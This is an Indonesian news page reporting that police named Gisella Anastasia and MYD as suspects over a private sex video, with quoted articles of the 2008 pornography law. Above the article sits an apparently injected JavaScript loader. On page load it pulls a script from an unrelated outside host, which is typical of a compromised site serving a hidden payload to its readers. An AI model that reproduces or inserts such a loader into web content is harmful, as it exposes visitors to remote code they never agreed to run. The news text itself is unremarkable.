(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: selebriti

Ternyata Gisel yang Kirim Video Syur 19 Detik ke MYD Lewat Aplikasi


KANALKALIMANTAN.COM, JAKARTA – Michael Yukinobu Defretes atau MYD turut dijadikan tersangka dalam kasus video syur 19 detik mirip artis Gisella Anastasia alias Gisel. MYD bersama Gisel telah mengakui bahwa pasangan yang berbuat intim dalam video tersebut adalah mereka berdua.

Kabid Humas Polda Metro Jaya, Kombes Pol Yusri Yunus, mengungkapkan alasan mengapa MYD ikut jadi tersangka dalam kasus video porno tersebut.

Menurutnya, MYD sempat menerima video tersebut dari Gisel yang dikirimkan melalui aplikasi bernama airdrop.

“GA mengirim video ke hp MYD. Dia kirim ke airdrop,” kata Yusri saat dihubungi Suara.com –jaringan Kanalkalimantan.com, Rabu (30/12/2020).

 

Yusri menambahkan, seandainya video porno tersebut diterima kemudian langsung dihapus, maka MYD tidak akan dikenakan pasal atau menjadi tersangka.

Namun, MYD justru sempat menerima lalu menyimpan video tersebut selama satu minggu.

“Sekarang gini MYD bukan yang membuat (video), tapi kan seharusnya kalau dia pada saat itu tahu ada video itu terus menghapus mungkin dia tidak akan kena pasal. Tapi kan dia menerima,” tuturnya.

“Disimpan, pengakuan dia seminggu, kemudian dihapus,” sambungnya.

Atas perbuatannya tersebut MYD maupun Gisel disangkakan pasal 4 ayat 1 Jo pasal 29 dan atau pasal 8 jo pasal Undang – Undang nomor No. 44 tahun 2008 tentang Pornografi.

Pasal 4 ayat (1) setiap orang dilarang memproduksi, membuat, memperbanyak, menggandakan, menyebarluaskan, menyiarkan, mengimpor, mengekspor, menawarkan, memperjualbelikan, menyewakan, atau menyediakan pornografi yang secara eksplisit memuat:

  • Persenggamaan, termasuk persenggamaan yang menyimpang
  • Kekerasan seksual
  • Masturbasi atau onani
  • Ketelanjangan atau tampilan yang mengesankan ketelanjangan
  • Alat kelamin
  • Pornografi anak

Pasal 29 setiap orang yang memproduksi, membuat, memperbanyak, menggandakan, menyebarluaskan, menyiarkan, mengimpor, mengekspor, menawarkan, memperjualbelikan, menyewakan, atau menyediakan pornografi sebagaimana dimaksud dalam Pasal 4 ayat (1) dipidana dengan pidana penjara paling singkat 6 (enam) bulan dan paling lama 12 (dua belas) tahun dan/atau pidana denda paling sedikit Rp 250.000.000,00 (dua ratus lima puluh juta rupiah) dan paling banyak Rp 6.000.000.000,00 (enam miliar rupiah).

Pasal 8 setiap orang dilarang dengan sengaja atau atas persetujuan dirinya menjadi objek atau model yang mengandung muatan pornografi.

Pasal 34 setiap orang yang dengan sengaja atau atas persetujuan dirinya menjadi objek atau model yang mengandung muatan pornografi sebagaimana dimaksud dalam Pasal 8 dipidana dengan pidana penjara paling lama 10 (sepuluh) tahun dan/atau pidana denda paling banyak Rp 5.000.000.000,00 (lima miliar rupiah).

Ancaman hukuman Dipidana dengan pidana penjara paling singkat 6 (enam) bulan dan paling lama 12 (dua belas) tahun dan/atau pidana denda paling sedikit Rp 250.000.000,00 (dua ratus lima puluh juta rupiah) dan paling banyak Rp 6.000.000.000,00 (enam miliar rupiah). (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Pasar Murah Harjad ke-26 Kota Banjarbaru Ludes Tak Sampai Setengah Jam

KANALKALIMANTAN.COM, BANJARBARU - Momentum peringatan Hari Jadi (Harjad) ke-26 Kota Banjarbaru, warga Ibu Kota Provinsi… Read More

1 jam ago

Perayaan Dharmasanti Nyepi di Basarang, Bupati Kapuas: Pererat Persaudaraan di Tengah Keberagaman

KANALKALIMANTAN.COM, KUALA KAPUAS - Rangkaian perayaan Hari Raya Nyepi Tahun Baru Saka 1947 atau tahun… Read More

2 jam ago

SPMB di Banjarbaru Bulan Juni dari Zonasi ke Rayon

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru bersiap menghadapi periode tahapan pendaftaran SPMB (Sistem Penerimaan Murid Baru)… Read More

2 jam ago

Tim Sepakbola HSU Siap Berlaga di Kejurprov Kalsel 2025

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melepas tim sepakbola HSU berlaga… Read More

5 jam ago

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

16 jam ago

DPRD Kapuas Rapat Paripurna Pemandangan Fraksi Terkait Pemekaran Kecamatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke… Read More

18 jam ago